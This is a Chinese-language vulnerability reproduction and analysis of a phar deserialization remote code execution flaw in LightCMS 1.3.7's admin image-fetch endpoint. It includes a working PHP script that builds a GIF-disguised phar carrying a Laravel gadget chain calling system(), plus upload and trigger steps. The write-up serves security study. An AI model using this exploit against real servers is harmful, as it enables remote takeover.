LightCMS后台rce
前言
LightCMS 是一款基于 Laravel 框架的 CMS,其后台存在文件上传,可配合 laravel phar反序列化实现 rce
环境搭建
LightCMS1.3.7部署
# gitbash
git clone https://github.com/eddy8/LightCMS.git
cd lightCMS
composer install
chmod 777 -R storage/ bootstrap/cache/
cp .env.example .env
# 修改.env中的数据库信息
php artisan migrate --seed
php artisan serve
后台地址 /admin/login
账号 admin/admin
更改源码
漏洞已被fix,我们适当更改源码还原复现环境
app/Http/Controllers/Admin/NEditorController.php
第257行注释掉添加$resource = $data;
漏洞复现
文件上传
Laravel RCE 的 gadget
//exp.php
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}
namespace{
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]);
echo base64_encode(serialize($o));
$phar -> setMetadata($o);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
}
生成phar文件,改后缀名为 gif
D:\phpStudy\phpstudy_pro\WWW\LightCMS\tests>php exp.php calc
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjQ6ImNhbGMiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjg6IgAqAGV2ZW50IjtzOjQ6ImNhbGMiO30=
上传gif文件
上传路径 http://light.com/upload/image/202105/96pe2uNvwlOtFisPxx1lCgNmspzFDqLVE1hsmfHR.gif
vps上的1.txt
phar://./upload/image/202105/96pe2uNvwlOtFisPxx1lCgNmspzFDqLVE1hsmfHR.gif
访问接口
复现结果
漏洞分析
进入上传页面,查看源代码
找到上传接口
http://127.0.0.1:8000/admin/neditor/serve/uploadimage
查看后台模板文件
resources/views/admin/content/add.blade.php
上传接口渲染laravel一个路由
查看路由
routes/admin.php
使用NEditorController
控制器
查看控制器
app/Http/Controllers/Admin/NEditorController.php
uploadImage()
方法我们不去关注,把重点放在catchImage()
方法上
catchImage()
方法接受post的file参数,传进fetchImageFile()
方法
查看fetchImageFile()
方法
首先通过filter_var($url, FILTER_VALIDATE_URL)
判断$url
是否为 url
注意这不仅http协议可以通过,其它如phar协议同样也可以
接着尝试 curl 访问 url
并返回结果给$data
此时$data
内容为 phar://./upload/image/202105/96pe2uNvwlOtFisPxx1lCgNmspzFDqLVE1hsmfHR.gif
然后通过isWebp()
判断$data
是否是 webp 文件
进入 else 分支后把$data
传入Image::make()
逐步跟进
vendor/intervention/image/src/Intervention/Image/ImageManager.php
vendor/intervention/image/src/Intervention/Image/AbstractDriver.php
最后来到AbstractDecoder.php
,进入switch case
vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php
查看 isUlr()
方法
同样也是判断$data
是否为 url
这时$data
是 phar 协议,可以 return true
所以 $data
传入initFromUrl()
查看initFromUrl()
方法
可以看到 file_get_contents()
触发 phar 反序列化
参考
https://xz.aliyun.com/t/9561
https://www.gem-love.com/websecurity/2763.html